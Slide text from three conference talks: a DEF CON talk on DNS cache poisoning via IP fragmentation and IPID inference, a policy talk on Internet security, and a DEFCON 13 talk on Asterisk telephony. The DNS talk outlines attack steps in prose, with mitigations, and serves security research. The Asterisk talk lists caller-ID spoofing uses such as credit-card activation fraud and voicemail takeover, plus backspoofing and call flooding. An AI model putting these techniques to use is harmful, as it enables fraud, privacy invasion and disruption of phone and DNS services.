5004, 5005,
5006, 5007,
5008, 5009,
5010, 5011,
etc…
64
CACHE
We might need to repeat this
(Patience/Avoiding Cache)
PUPPET
ATTACKER
IDEAL POISONING SCENARIO
TARGET
INTERNET
63
CACHE
IPID = 5003,
5004, 5005,
5006, 5007,
5008, 5009,
5010, 5011,
etc…
PUPPET
ATTACKER
IDEAL POISONING SCENARIO
TARGET
INTERNET
63
CACHE
IPID = 5003,
5004, 5005,
5006, 5007,
5008, 5009,
5010, 5011,
etc…
PUPPET
ATTACKER
IDEAL POISONING SCENARIO
TARGET
INTERNET
CACHE
0
PUPPET
ATTACKER
IDEAL POISONING SCENARIO
INTERNET
CACHE
0
TARGET
PUPPET
ATTACKER
IDEAL POISONING SCENARIO
INTERNET
CACHE
0
TARGET
PUPPET
ATTACKER
DNSSEC Adds lots of signature records,
but the authority (NS) and additional
sections are always last
Subdomain Injection, NS Hijacking, NS Blocking
Origin of work:
“Fragmentation Considered Poisonous”, Amir Herzberg and Haya Shulman, Published 2012
POISONOUS FRAGMENTATION
DNSSEC Adds lots of signature records,
but the authority (NS) and additional
records are last
Subdomain Injection, NS Hijacking, NS Blocking
Origin of work:
“Fragmentation Considered Poisonous”, Amir Herzberg and Haya Shulman, Published 2012
POISONOUS FRAGMENTATION
MALICIOUSLY FORCING FRAGMENTATION
TARGET
INTERNET
ATTACKER
IPID = 5002,
5003, 5004,
5005, 5006,
5007, 5008,
5009, 5010,
5011 5012
64
CACHE
PUPPET
A decreasing number of deployed nameservers/OSs
should be using sequential and global counters
We can’t re-query things that get cached
With IPv6, the IPID in the fragmentation extension
header is 32bits, with a cache of 64 fragments:
Realistic average ~34 million iterations
Unrealistic ideal average ~17 million iterations
Origin of work:
“Fragmentation Considered Poisonous”, Amir Herzberg and Haya Shulman, Published 2012
PERTINENT LIMITATIONS
Prior to our engagement with Umbrella (April 2019),
their implementation used IPv6 whenever possible,
detected IPv4 fragments, and re-queried over TCP
Workshop presentation at OARC 30
(Mid-May 2019)…
There has been some notice
PERTINENT LIMITATIONS
Excerpt of slide from:
https://indico.dns-oarc.net/event/31/contributions/692/attachments/660/1115/fujiwara-5.pdf, Given Mid-May 2019
… but the presentation wasn’t us…
PERTINENT LIMITATIONS
WHERE WE’RE GOING
1. Intro
2. Background on DNS
3. Fragmentation Attacks
4. IPID Inference
5. The Attack (agnostic to IPv4 and IPv6)
6. Mitigations
“Counting Packets Sent Between Arbitrary Internet Hosts”,
Jeffrey Knockel and Jedidiah R. Crandall, 2014
OPTIMIZED LINUX KERNELS AND POPCORN
There is a storied history of using IPID for Idle Scanning
OPTIMIZED LINUX KERNELS AND POPCORN
A patch that adds perturbation (2014)
A patch that replaces per-destination IPID counters
with “binned” counters (2014)
Two relevant changes to Linux Kernel:
Origin of work:
“ONIS: Inferring TCP/IP-based Trust Relationships Completely Off-Path”, Zhang, Knockel, and Crandall. Published 2018
OPTIMIZED LINUX KERNELS AND POPCORN
A patch that adds perturbation
Origin of work:
“ONIS: Inferring TCP/IP-based Trust Relationships Completely Off-Path”, Zhang, Knockel, and Crandall. Published 2018
https://git.kernel.org/pub/scm/linux/kernel/
git/stable/linux.git/commit/?id=73f156a6e8
When sending a packet, increments IPID by a normal
distribution between 1 and the kernel ticks elapsed
OPTIMIZED LINUX KERNELS AND POPCORN
A patch that replaces per-destination IPID counters with
“binned” counters
Origin of work:
“ONIS: Inferring TCP/IP-based Trust Relationships Completely Off-Path”, Zhang, Knockel, and Crandall. Published 2018
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=04ca6973f7
ip.dst:
208.67.222.222
5810
2058
1050
9714
4382
8620
4
4299
3462
HASH
OPTIMIZED LINUX KERNELS AND POPCORN
One of 2048 “bins”
(IP_IDENTS_SZ default)
Origin of work:
“ONIS: Inferring TCP/IP-based Trust Relationships Completely Off-Path”, Zhang, Knockel, and Crandall. Published 2018
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=04ca6973f7
A patch that replaces per-destination IPID counters with
“binned” counters
OPTIMIZED LINUX KERNELS AND POPCORN
Use the IP-space of IPv6 for source
addresses
Find hash collisions between destination addresses by
seeing the increment from zombie to target
Get ”under” perturbations (for most systems this timing is
~10ms but may be as low as ~0.66ms)
MADE ONIS (2018)
MISSED ONUS
ONIS: ONIS is Not an Idle Scan
Origin of work:
“ONIS: Inferring TCP/IP-based Trust Relationships Completely Off-Path”, Zhang, Knockel, and Crandall. Published 2018
Once a collision is found, start using
the “zombie” for Not an Idle Scan
But wait… wasn’t the only things
preventing DNS Fragment Poisoning
the difficulty of guessing the IPID?
ONIS: ONIS is Not an Idle Scan
Origin of work:
“ONIS: Inferring TCP/IP-based Trust Relationships Completely Off-Path”, Zhang, Knockel, and Crandall. Published 2018
MADE ONIS (2018)
MISSED ONUS
WHERE WE’RE GOING
1. Intro
2. Background on DNS
3. Fragmentation Attacks
4. IPID Inference
5. The Attack (agnostic to IPv4 and IPv6)
6. Mitigations
Much like with ONIS, start by finding collisions
But wait… didn’t you say something about IPv6 being used?
This additive work is ours, diagram edited from:
“ONIS: Inferring TCP/IP-based Trust Relationships Completely Off-Path”, Zhang, Knockel, and Crandall. Published 2018
FINDING COLLISIONS OFF-PATH
Works for IPv6 when fragmented
What about getting address space?
This additive work is ours, diagram edited from:
“ONIS: Inferring TCP/IP-based Trust Relationships Completely Off-Path”, Zhang, Knockel, and Crandall. Published 2018
IPv6 Echo Reply
FINDING COLLISIONS OFF-PATH
What about getting address space?
All AWS Virtual Private Clouds (including free tier)
What about getting address space?
All AWS Virtual Private Clouds (including free tier)
can add a /64 IPv6 CIDR (18,446,744,073,709,551,616 hosts)
Wait, why is this better than finding global
IPID nameservers?
Broader selection, all ‘recent’ Linux kernels
(>3.16 – Aug 3 2014)
Binning acts in our favor, ~99.95% of other
hosts will not change the IPID (2047/2048)
AFTER A COLLISION IS FOUND
Exploit Necromancy, Fragmentation is still poisonous
Being a downstream puppet is trivial for public resolvers
… and organizations and individuals are increasingly relying on them.
AFTER A COLLISION IS FOUND
Nameserver uptime is in the attacker's favor
The secret key for hashing destination addresses only changes
at reboot – so… ∞ uptime on nameservers?
Wait for times of least monitoring
Accumulate collisions (matches) for multiple nameservers
and resolvers
Perform multiple short-duration cache attacks (for cases
where we can specify timeout)
WarGames and Waiting Games
AFTER A COLLISION IS FOUND
If this is doable in a single hit:
Maybe don’t need a downstream puppet
Anticipate automated clients (e.g. cron-jobs)
does your blueteam work midnights?
Maybe the puppet can be passive
Attempt to poison common requests when they
go out of cache
Maybe poison isn’t the purpose
Use NS Blocking to kill communication to all
nameservers
Unrealistic blind attacks are now plausible "in one shot"
NS Blocking work:
“Fragmentation Considered Poisonous”, Amir Herzberg and Haya Shulman, Published 2012
AFTER A COLLISION IS FOUND
WHERE WE’RE GOING
1. Intro
2. Background on DNS
3. Fragmentation Attacks
4. IPID Inference
5. The Attack (agnostic to IPv4 and IPv6)
6. Mitigations
What Umbrella was going to deploy for IPv4
Handle fragments in pre-assembly
Content in later UDP fragment should be untrusted
Trigger re-queries at a higher layer over TCP
Issue: IPv6 headers
IPv6 extension headers might not exist, may be in any order
Identify and handle fragments as 'Suspect' (non-trivial)
FOR RESOLVERS
Date TBD
Cap EDNS (Extended DNS) bufsize solicitation at ~1220
More feasible with elliptic-curve RRSIGs
Avoid IPv6 fragmentation
Drop all fragments (including IPv6)
Re-query larger payloads over TCP
Implement “Flag Day 2020+” plans now
FOR RESOLVERS
https://dnsflagday.net/2020/
Indications of this attack are… limited. But one can still
make an alert for what little warning there is
A large volume of unsolicited, fragmented, IPv6 ICMP Echo
replies during collision-finding may be the only indication
Though, this attack could be performed with sufficient IPv4
address space, or other protocols that allow for sufficiently
tight-timing of responses.
Be alerted (or very afraid) of unsolicited ECHO responses
FOR RESOLVERS
Have you tried turning it off and on again?
For a host running modern Linux, changing the key used
to hash destination addresses would silently remove
any known collisions
Obviously, even if this is done
without a reboot - not ideal
(traffic volume)
In order of increasing difficulty…
FOR NAMESERVERS
Limit EDNS over UDP (“Flag Day 2020+”)
Not really “Compliant” yet, but can still serve large
responses over TCP
Speed is important, but
may be best left to the
resolvers, most things can
be cached
FOR NAMESERVERS
In order of increasing difficulty…
https://dnsflagday.net/2020/
Disable, fuzz, or limit what ICMPs you respond to
There are good reasons for responding to ICMP ECHOs
(especially as a backbone-of-DNS)
but… maybe not fragmented pings
Handle ICMP separately with a
non-kernel process (IPID)
Limit speed of replying to ICMPs
… but then again, ICMP *isn’t* the
only way this attack could be done
FOR NAMESERVERS
In order of increasing difficulty…
Roll your own Kernel (sorry in advance) or use another
Change IP_IDENTS_SZ to something much higher than
2048, recompile.
Alternatively, use a kernel
that is properly
per-destination and take
the performance hit
https://xkcd.com/303/
FOR NAMESERVERS
In order of increasing difficulty…
Deploy DNSSEC … and do it with good signing keys
Although DNSSEC produces longer replies (fragmentation),
it also prevents outright tampering with A records.
If you have a weak key your replies would be
fragmentable, and the signing could be broken.
https://www.iana.org/dnssec/dps/zsk-operator/dps-zsk-operator-v2.0.pdf
Key Signing Key (KSK)
Zone Signing Key (ZSK)
A www.defcon.org w.x.y.z
RRSIG
A 10 3 2419200 2019 ...
Which authenticates
Makes RRSIGs for records
FOR DOMAINS
https://www.iana.org/dnssec/dps/zsk-operator/dps-zsk-operator-v2.0.pdf
https://blog.webernetz.net/dnssec-zsk-key-rollover/
FOR DOMAINS
Deploy DNSSEC … and do it with good signing keys
Although DNSSEC produces longer replies (fragmentation),
it also prevents outright tampering with A records.
If you have a weak key your replies would be
fragmentable, and the signing could be broken.
FOR EVERYBODY ELSE…
DON’T PANIC
(well... maybe panic a little)
ONIS: Inferring TCP/IP-based Trust Relationships Completely Off-Path
- Zhang, Knockel, and Crandell
Fragmentation Considered Poisonous - Herzberg and Shulman
Two Main Papers:
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/tree/net/i
pv4/route.c#n476
IP_IDENTS_SZ in current Linux kernel:
Speakers
[email protected]
Twitter: @Travco1
Travis (Travco) Palmer
[email protected]
Brian Somers
D. Kaminsky. It’s The End Of The Cache As We Know It. In Black Hat
conference, 2008. http://www.doxpara.com/DMK_BO2K8.ppt.
The O.G. Kaminsky:
https://www.cloudflare.com/dns/dnssec/how-dnssec-works/
https://www.icann.org/news/announcement-2019-02-22-en
https://www.internetsociety.org/resources/doc/2016/state-of-dnssec-deployment-2016/
https://indico.dnsoarc.net/event/31/contributions/692/attachments/660/1115/fujiwara-5.pdf
“Counting Packets Sent Between Arbitrary Internet Hosts”, Jeffrey Knockel and Jedidiah R. Crandall, 2014
https://dnsflagday.net/2020/
https://www.iana.org/dnssec/dps/zsk-operator/dps-zsk-operator-v2.0.pdf
Other resources in order of appearance: | pdf |
SAVING THE INTERNET
Jay Healey
@Jason_Healey
Atlantic Council
~1436
~1454
“If there is something you know,
communicate it.
If there is something you don't
know, search for it.”
Violates Privacy? Civil Liberties?
Legal? Constitutional?
“If there is something you
know, communicate it.
If there is something you
don't know, search for it.”
Global Internet Users
1993: 14 million
2003: 778 million
2013: 2.7 billion
2030?
2280?
Data breaches
Cyber crime
Anonymous
Malware
Espionage
State-sponsored attacks
Stuxnet
Heartbleed
Erection of borders
…
…
…
Privacy
Civil Liberties
Security
sep
Future Economic and
National Security
Today’s National
Security
Today’s National
Security
Future Possibilities
Until the End of
Humankind
Today’s National
Security
How many future Renaissances and
Enlightenments will humanity miss
if we – all of us, for any purpose – keep
treating the Internet as a place for crime,
warfare and espionage?
SECURITY FROM WHAT
The DT and complexity
Why “Saving”
Global Shocks
Initiated or Amplified Through the Internet
“As society becomes more
technologic, even the mundane
comes to depend on distant
digital perfection.”
Dan Geer
“This increasingly tight coupling of the
internet with the real economy and society
means a full-scale cyber shock is far more
likely to occur.”
“Beyond Data Breaches: Global
Interconnections of Cyber Risk”
Bad Guys Finish First
“Few
if
any
contemporary
computer
security controls have prevented a [red
team]
from
easily
accessing
any
information sought.”
Bad Guys Finish First
“Few
if
any
contemporary
computer
security controls have prevented a [red
team]
from
easily
accessing
any
information sought.”
O>D
Doesn’t Have to Stay This Way
Great News! Security is Getting Better!
Whether in detection, control, or prevention, we are notching
personal bests…
- Dan Geer, 2014
Time
Effectiveness
2014
Improvement of Defense
Bad News! We’re Still Losing and at a Faster
Rate!
Time
Effectiveness
Improvement of Defense
2014
Whether in detection, control, or prevention, we are notching
personal bests but all the while the opposition is setting world
records.
Dan Geer, 2014
Improvement of Offense
“Wild West”
Or Is It Exponentially Worse?
Time
Effectiveness
Improvement of Defense
2014
Improvement of Offense
Can This Last Forever?
Time
Effectiveness
Improvement of Defense
2014
Improvement of Offense
Tipping Point?
When Will There Be More Predators Than Prey?
Time
Effectiveness
2014
O>D
O>>D
“Somalia”
“Wild West”
Tipping Point?
SAVING FOR WHOM?
2014
2024
2034
2074
2274
Poster by Paul Sizer
SOLUTIONS
D>O
D>>O
Solutions
How you can help
Believe: The DT’s quote
Care: That you can matter
Join: Give your time, brains and patience
Measure : To be sure
Private-Sector
Centric Approach
Single US Cyber &
Internet Strategy
• Disruptive Defensive Technologies … but only if they work at scale!
• Sustainable Internet
• Working at Scale
Twitter: @Jason_Healey
Questions? | pdf |
Be your own telephone company...
...with Asterisk!
Presented by
Strom Carlson and Black Ratchet
DEFCON 13
July 2005
Brief history of telephone switching
● Manual cordboards
– Labor-intensive
● Step / Panel / Crossbar
– Electromechanical
– Simple and effective, but limited in function
– Expensive to maintain
● No. 1 / 1AESS
– Electronically-controlled analog switching
– Much wider array of services available
– More flexibility than electromechanical switches
– Some still in use today in North America
Brief history of telephone switching
● 4 ESS / 5 ESS / DMS
– Digital time-division switching
– Greatly increased flexibility and array of services
– Much cheaper to maintain than previous systems
– Huge and expensive
Part I:
Asterisk Overview
(or... what the &$#%@ is this thing?)
What is Asterisk?
● Free, open-source PBX that runs on Linux
– Best thing since sliced bread
● Originally written by Mark Spencer
– Now has a large number of contributors
Why Asterisk?
● It's FREEEEEEEEEEEEEEEEEEEE!!!!!!!
– How much are you paying your PBX vendor now?
● Runs on commodity PC hardware
● Broad support for VoIP protocols and hardware
● Easy to interconnect with other boxes
– Form your own VoIP network
● Configurable to do (almost) whatever you want
– Tweak it to your needs
– Write your own code
– It will still not do your dishes, unfortunately
Asterisk and Hardware
Asterisk Hardware Requirements
● Will run on surprisingly out-of-date hardware
– 133MHz Pentium I w/16MB RAM
● supports 3 concurrent SIP calls before quality degrades
● Any PC you have lying around will work
– 2.4 GHz P4 w/512 MB RAM
● 790 simultaneous calls
http://www.voip-info.org/wiki-Asterisk+dimensioning
Sample Asterisk Installation
Asterisk
Web
Mail
Catsex
NAS
Asterisk
Console
Popular VoIP Telephones
Cisco 7960
$250-$300
Polycom IP600
$250-$300
Grandstream
BudgeTone 100
$40-$75
Snom 190
$175-$250
Popular VoIP Terminal Adapters
Digium IAXy
$100
Sipura SPA-2002
$70
Grandstream
HandyTone 286
$65
Cisco ATA-186
$50-$125
Digium Zaptel Cards
● TDM400P
– Connect analog telephones to asterisk box
– Connect analog telephone lines to asterisk box
● TE405P / TE410P
– Connect four T1 / E1 circuits to asterisk box
– Connect channel banks to asterisk box
Interconnecting Asterisk:
Signaling Protocols
Session Initiation Protocol (SIP)
● Signaling protocol only
– Actual media transport handled by RTP
● Protocol developed by IETF, not ITU-T
– Uses URLs instead of telephone numbers
● sip:[email protected]
● Intended to be a peer-to-peer protocol
● Fairly ubiquitous
– Most VoIP phones, terminal adapters, etc speak SIP
– Used by Vonage, Packet8, Broadvoice, etc
● Does not play well with NAT
H.323
● Developed in 1996 by ITU-T
● Far more similar to traditional telephony signaling
protocols than SIP
● Uses RTP for media transport
● Used internally by interexchange carriers
● Fairly unpopular in the do-it-yourself VoIP world
– Difficult to implement in software
– Major pain in the ass to get working correctly
“Just don't use H.323 and all your problems will be solved”
- JerJer on #asterisk
Inter-Asterisk EXchange (IAX)
● Developed by Mark Spencer of Digium
● Covers both signaling and media transport
– Streamlined, simple protocol
● Does not suffer from NAT traversal issues
– Data and signaling happen via UDP on port 4569
● Well-supported by Asterisk
● Support in terminal equipment is rare
– Digium IAXy terminal adapter speaks IAX
● Preferred protocol for many PSTN termination
providers
Other protocols
● Media Gateway Control Protocol (MGCP)
● Cisco's Skinny Client Control Protocol (SCCP)
Interconnecting Asterisk:
Codecs
Digital Audio Basics – PAM
Analog Waveform
Pulse Amplitude
Modulation (PAM)
Digital Audio Basics – PCM
Pulse Amplitude
Modulation (PAM)
Pulse Code Modulation
(PCM)
Digital Audio Basics – µ-law
10110110
Polarity
Chord
Step
0
1
-1
Digital Audio Basics – (A)DPCM
● Differential Pulse Code Modulation
– Uses four bits to describe the change from the last
sample, regardless of original source resolution
● Adaptive Differential PCM
– Uses a varying number of bits depending on the
complexity of the sample
Digital Audio Basics – LPC
● Linear Predictive Coding
● Uses vocoders to compress speech
– Vocoders are also used to create the “singing
synthesizer” effect in some modern music
Voice on the PSTN
● 64 kilobit per second synchronous bandwidth for
wireline telephones
– µ-law companding in North America
– a-law companding in the rest of the world
– 56 kilobits per second if doing in-band supervision
signaling on a DS0 (i.e. bit-robbing)
● 4 to 13 kilobit per second synchronous bandwidth
for mobile phones
– All sorts of crazy audio codecs
– Sounds like crap
Costs of speech compression
● Increased CPU power required for transcoding
● No guarantee that two pieces of equipment will
speak the same codecs
– Especially true if using nonstandard bitrates
● Some codecs require LICEN$ING
● Codecs do not handle all kinds of sounds well
– People will have trouble understanding certain words
– Difficult to understand anyone who has poor diction
– Music on hold in codec land is pure torture
● Be like Oedipus! Gouge your eyes out!
Benefits of speech compression
● Each call uses less bandwidth
Codecs supported by Asterisk
● G.711
– 64kbps µ-law or a-law companding
● G.726
– 32kbps Adaptive Differential Pulse Code Modulation
● G.729
– 8kbps Conjugate-Structure Algebraic Code-Excited
Linear Prediction
– Requires a license
● GSM
– 13kbps Regular Pulse Excitation Long-Term Prediction
Codecs supported by Asterisk
● Internet Low Bandwidth Codec (iLBC)
– 13.3kbps Linear Predictive Coding
– This is the codec used by Skype
● Speex
– 13.3kbps Code-Excited Linear Prediction
– Open Source codec
● LPC10
– 2.4kbps Linear Predictive Coding
– Sounds more ghastly than you can possibly imagine
Codec Comparison Audio Demo
Music:
Redeye Flight - “Natalie”
(band from Los Angeles – they're cool – go see their shows)
[email protected]
Codec Comparison Audio Demo
5
Music:
Redeye Flight - “Natalie”
(band from Los Angeles – they're cool – go see their shows)
[email protected]
Codec Comparison Audio Demo
4
Music:
Redeye Flight - “Natalie”
(band from Los Angeles – they're cool – go see their shows)
[email protected]
Codec Comparison Audio Demo
3
Music:
Redeye Flight - “Natalie”
(band from Los Angeles – they're cool – go see their shows)
[email protected]
Codec Comparison Audio Demo
2
Music:
Redeye Flight - “Natalie”
(band from Los Angeles – they're cool – go see their shows)
[email protected]
Codec Comparison Audio Demo
1
Music:
Redeye Flight - “Natalie”
(band from Los Angeles – they're cool – go see their shows)
[email protected]
G.711
64kbps µlaw companding
G.729
8kbps
Conjugate-Structure Algebraic Code-Excited Linear Prediction
G.726
32kbps Adaptive Differential Pulse Code Modulation
GSM
13kbps Regular Pulse Excitation Long-Term Prediction
G.711
64kbps µlaw companding
iLBC
13.3kbps Linear Predictive Coding
LPC-10
2.4kbps Linear Predictive Coding
Speex
13.3kbps Code-Excited Linear Prediction
Interconnecting Asterisk:
PSTN Termination
NuFone
● Pros
– Cheap rates
– Geared for Asterisk
– Spoofable CallerID
– Insanely easy to provision 800 numbers
– Very easy going
– Calling Party Number delivery
– Proper call completion progress
● Cons
– Michigan DIDs only
– Not too phreak friendly
● Disabled Caller ID spoofing during DC12 (Geee, think he
doesn't trust us?)
Asterlink
● Pros
– Reliable
– Inbound via tollfree numbers
– Delivers ANI II if you want it
– Proper call progress
● Cons
– Kludgy account management interface
Voicepulse Connect
● Pros
– Unlimited incoming minutes on inbound IAX calls
– Inbound numbers in a large number of rate centers
– Proper call progress
● Cons
– One of the most expensive IAX providers for outbound
PSTN call termination
VoipJet
● Pros
– Cheap! (1.3 cents per minute)
● Cons
– Caller ID delivery unreliable
– No incoming service
– No proper call completion
● Instead of hearing an intercept message, you'll just hear
ringing
BroadVoice
● Pros
– Cheap DIDs in most ratecenters
– Run by phone phreaks
– 24/7 Phone Support
– Caller ID with name
● Cons
– SIP Only
– Prone to service outages
– Phone support is slow at best
– Will CNAM work today?
Interconnecting Asterisk:
Network Design
ENUM / E.164
● Based on DNS
● Allows any number to be queried
– If it exists, you can bypass the PSTN saving money.
● Designed by the ITU
● Officially 'supposed' to be used by Telcos
– e164.org – Free DIY solution
● Over 350,000 Numbers on record
● 78,000,000 Special PSTN services (800 numbers, etc)
How ENUM Works
ENUM problems
● A very 'top-down' way of doing lookup
– Centrally managed
– Centrally served
– Centrally centralized
● Not in use by any(?) PSTN providers
– Why should they save YOU money?
● Nowhere near critical mass yet
DUNDi - Distributed Universal
Number Discovery
● Designed by the good folks at Digium
– Therefore, it has to be good
● A fully peer-to-peer E.164 solution
● Easily set up your own telephone network with
friends
● DIY alternative to waiting for your telephone
company to implement E.164
How DUNDi works
http://www.dundi.com/dundi-e164-big.png
DUNDi Problems
● Requires everyone to be honest
– Hey Hey! I'm the white house!
● Scalability
● Not officially a standard (yet)
● Only in CVS HEAD version of asterisk
● The 'i' looks silly at the end.
Quality of Service
● Ensure that calls receive enough bandwidth and
low latency
– Priority Queueing
– Bandwidth Shaping
● Many residential routers are now VoIP-aware and
will do a decent job out-of-the-box
● Tweak a Cisco router to do this on a large scale or
if you're a control freak
Part II:
Extending Asterisk
AGI – Asterisk Gateway Interface
● Interface for adding functionality to Asterisk
● Cross-Language
– Perl
– C
– PHP
– Whatever you want...
● Allows programs to communicate to asterisk via
STDIN and STDOUT
● Second-best thing since sliced bread
A simple AGI program
#!/bin/bash
#
# Simple agi example reads back Caller ID
#
# Written by: Black Ratchet <[email protected]>
#
# Suck in the variables from asterisk
declare -a array
while read -e ARG && [ "$ARG" ] ; do
array=(` echo $ARG | sed -e 's/://'`)
export ${array[0]}=${array[1]}
done
checkresults() {
while read line
do
case ${line:0:4} in
"200 " ) echo $line >&2
return;;
"510 " ) echo $line >&2
return;;
"520 " ) echo $line >&2
return;;
* ) echo $line >&2;; #keep on reading those Invalid command
#command syntax until "520 End ..."
esac
done
}
# Say the user's Caller ID
echo "STREAM FILE yourcalleridis \"\""
checkresults
echo "SAY DIGITS " $agi_callerid "\"\""
checkresults
How it works...
Connection
“agi_callerid: 3115552368”
“STREAM FILE agi-yourcalleridis”
“Your caller ID is...”
“200 result=0”
“200 result=0”
“200 result=0”
“SAY DIGITS “3115552368”
“3...1...1...5...5...5...2...3...6...8...”
Disconnection
HANGUP
“200 result=0”
Caller
AGI Script
Asterisk
Asterisk::AGI
● Perl module that simplifies AGI programming
– Takes care a lot of the 'dirty work'
– “Doing the work so you don't have to”
● Allows the AGI interface to be controlled via an
object interface
● Rather old; not very well maintained
● Allows AGI to easily integrate with Perl, which
easily integrates with almost everything in the
known universe.
● http://asterisk.gnuinter.net/
A simple AGI program
w/Asterisk:AGI
#!/usr/bin/perl
#
# Simple AGI example that says the Caller ID w/Asterisk::AGI
#
# Written by: Black Ratchet <[email protected]>
#
use Asterisk::AGI;
$AGI = new Asterisk::AGI;
# Suck in the variables from asterisk
my %input = $AGI->ReadParse();
# Speak the user's caller ID (If they have one)
if ($input{'callerid'}) {
$AGI->stream_file('yourcalleridis');
$AGI->say_digits($input{'callerid'});
}
Wow... That was easier...
Interacting with your script - Input
● Touch Tone
– Basic
– Ubiquitous
– Easy
– Limited
● VXML
– eXtensible
– No native support
– SIPxPBX
– Numerous Commerical offerings
Interacting with your script - Output
● Text to Speech
– Festival
● Native Support
● Free
● Sounds like crap
– Cepstral
● Can easy be integrated
● Sounds great
● Not free, but cheap
Interacting with your script - Output
● Recordings
– Do it yourself
● Free
– Allison Smith
● For pay
● Lots of canned sayings
A slightly more complex script...
#!/usr/bin/perl
#
# Simple agi example that demonstrates input and output
#
# Written by: Black Ratchet <[email protected]>
#
use Asterisk::AGI;
$AGI = new Asterisk::AGI;
while (1){
$input = chr($AGI->stream_file('seeandsay/menu','123'));
if ($input eq "1"){
$AGI->stream_file('seeandsay/ratchet');
}elsif($input eq "2"){
$AGI-> stream_file('seeandsay/cepstralsays');
$AGI-> stream_file('seeandsay/cepstral');
}elsif($input eq "3"){
$AGI-> stream_file('seeandsay/allisonsays');
$AGI-> stream_file('seeandsay/allisonhello');
}
}
(intermission)
Part II(a):
Cool Applications
(or... what can I do with this thing?)
Caller ID Spoofing
● Asterisk allows you to set your own Caller ID,
much like a PRI
● Certain PSTN termination providers will also set
your Calling Party Number of your SS7 IAM to
this number as well
● Most switches blindly accept this information,
some more then others
– 5ESS – Caller ID
– DMS-100 – Caller ID
– GTD-5 – Caller ID with Name
Caller ID & CPN Spoofing uses...
● Confuse and Amuse your friends
– How many times have you received a call from
“Simpson, Homer J” ?
● Activate your neighbor's credit card
● Charge calls to people you don't like
– Slightly more complex
– Requires certain phone equipment to be misconfigured
– Easiest way to do this is via a certain company's calling
card
Caller ID & CPN Spoofing uses...
● Own Paris Hilton's voice mail
– T-Mobile upgraded their system, but is still vulnerable
● Social Engineering
– Because hey... Caller ID is always right... right?
Simple Caller ID Spoofing Scripts
● Nick84
– http://www.rootsecure.net/
● NotTheory
– http://www.bellsmind.net/
Backspoofing
● Related to Caller ID Spoofing
● Relatively new concept
– NotTheory - http://www.bellsmind.net/
– Natas - http://www.oldskoolphreak.com/
– Vox - http://xscans.united.net.kg/
● Fools the phone company into providing the name
associated with a telephone number
– Listed and Unlisted
Backspoofing
● How it works
– Spoof Caller ID to yourself
– Your LEC looks up the number in its Caller ID
database (CNAM)
– You get the name associated with that number
Backspoofing Uses
● Prescanning
– Allows you to prioritize the more interesting phone
numbers.
● “NET - 5ESS”
● “OFC# 897 TEST L”
● “VERIZON INFORMA”
● “CIA, INTERNATION”
● “BOOZE”
● “UNCLAIMED MONEY”
● Uber-cheap reverse lookup
● Figure out celebrities' cell phone numbers
– Lindsay Lohan
– Nikki Hilton
Backspoofing
Super Caller ID
● Extrapolates tons of useless data from a telephone
number
– Name and address from whitepages.com
– Switch information from LERG
● Runs on its own dedicated WYSE 150
● Hacked up in an hour by Strom Carlson
● A less customized version (non-LERG) available
at http://www.oldskoolphreak.com/
Super Caller ID
Rigging Radio Contests...
● Radio stations have a 'hunt group' for their contest
lines
– Hunt group – A single telephone number that 'hunts'
for free wire pairs on a switch.
– Back in the day, crackers would busy out hunt line at
the switch, disallowing the public to call it, while
calling the individual lines directly
– Result: They win, public loses, line is re-enabled back
after the contest, everyone is none the wiser.
– Dark Dante (Kevin Poulsen) used this method to win a
Porsche
Tipping the scales in your favor...
● Shouts to Natas & NotTheory
● Certain providers allow numerous simultaneous
outbound calls (hundreds in some cases)
– DS1 = 24 calls
– DS3 = 672 calls
● Radio station hunt groups can have around 20 lines
on their hunt group
● What happens if they are suddenly inundated with
300 calls?
– Won't guarantee a win, but will definitely increase your
chances
How it works
Still some problems
● After you win, calls that are still in the queue will
connect to the bridge if answered.
– Radio Station Guy 1: “Hey! You win”
– You: “Phonetastic!”
– Radio Station Guy 2: “Hey, we already have a
winner!”
– Radio Station Guy 1: “Whaaaa?!”
● No easy way to fix this (?)
Other possible uses
● Rigging telephone voting contests
● Telephone DoS
● Telling PBS to wrap up their pledge break and get
back to Red Dwarf
● Busying out lines
● Racking up 800 number charges
Nmap-by-phone
● Simple script that allows you to port scan from
your phone
● Scan a computer from any payphone in the world
● Impress your friends
● Own microsoft.com while driving to work
● Almost but not entirely useless beyond the
coolness factor
Your own personal assistant
● Read your e-mail over the phone
– Can't dictate messages (Yet)
● Not as cool as WildFire or Webley
– http://www.wildfire.com/
– http://www.webley.com/
● Insanely cheaper than wildfire or Webley
● VXML would make this much much cooler
Part II(b) DEFCON by phone
DEFCON by Phone
● Problem: Massive Def Con Schedule
– Hard to memorize
– Times and locations change
– “Was that presentation on Friday or Saturday?”
– “Crap! I missed So-and-So's presentation!”
– This is 2005! Who really wants to carry around a
schedule made of dead trees?
DEFCON by Phone (cont.)
● Solution: Def Con By Phone!
– Allows searching of Def Con schedule
– Reminds users when presentations start
● Reminders can be set for up to one hour before a
presentation, allowing the user to get in line.
– Alerts users to when a presentation changes
– Allows users to keep “in touch” with the con despite
their location (IE: Blackjack Tables!)
– Allows users to get their very own phone call from
Strom Carlson, phone phreak extrodanaire!
DEFCON by Phone (cont.)
● Features
– Search available to anyone that calls
– Quick reminder (Tells user what is coming in the next
hour)
– User Registration
– Registered users can:
● Add reminders
● Delete reminders
● Be notified if event venues or times change
● Be notified if events are cancelled
DEFCON by Phone (cont.)
● How it works
– Database driven (Duh)
– Over 250 audio clips
– AGI handles user registration, searching, and
reminders.
– Daemon checks for reminders every 10 seconds and
generates callfiles for reminders
● Limited only by bandwith (100Mbps) and the PSTN
termination provider (hundreds of calls)
– Web interface controls the addition of events and
changing times of presentation.
Defcon By Phone Demo
Code and assorted info available at
http://www.blackratchet.org/
http://www.stromcarlson.com/
Part III:
Caveats
(or, why asterisk sucks)
TDM Card Flakiness
● Connecting an FXS module to a real telephone line
can be dangerous
– If the phone line rings, the FXS module is toast
● Cards sometimes go crazy for no apparent reason
● Drivers are not entirely bug-free
Code Restrictions
● Asterisk is GPL
● All code contributed to Asterisk is owned by
Digium
– You waive your rights
– You don't own your code
– They need to have your wavier on record to contribute
● Digium does have commericial options (?)
Termination Issues
● Proper call progression
– Supported in protocols
– Some providers (notably VoipJet) don't support it
– Tough luck if you want to hear intercepts
● Most providers have nowhere near 99.999% uptime
– Broadvoice had a large outage both inbound and
outbound
● Some providers 'lose' your registration, requiring a
kick to Asterisk
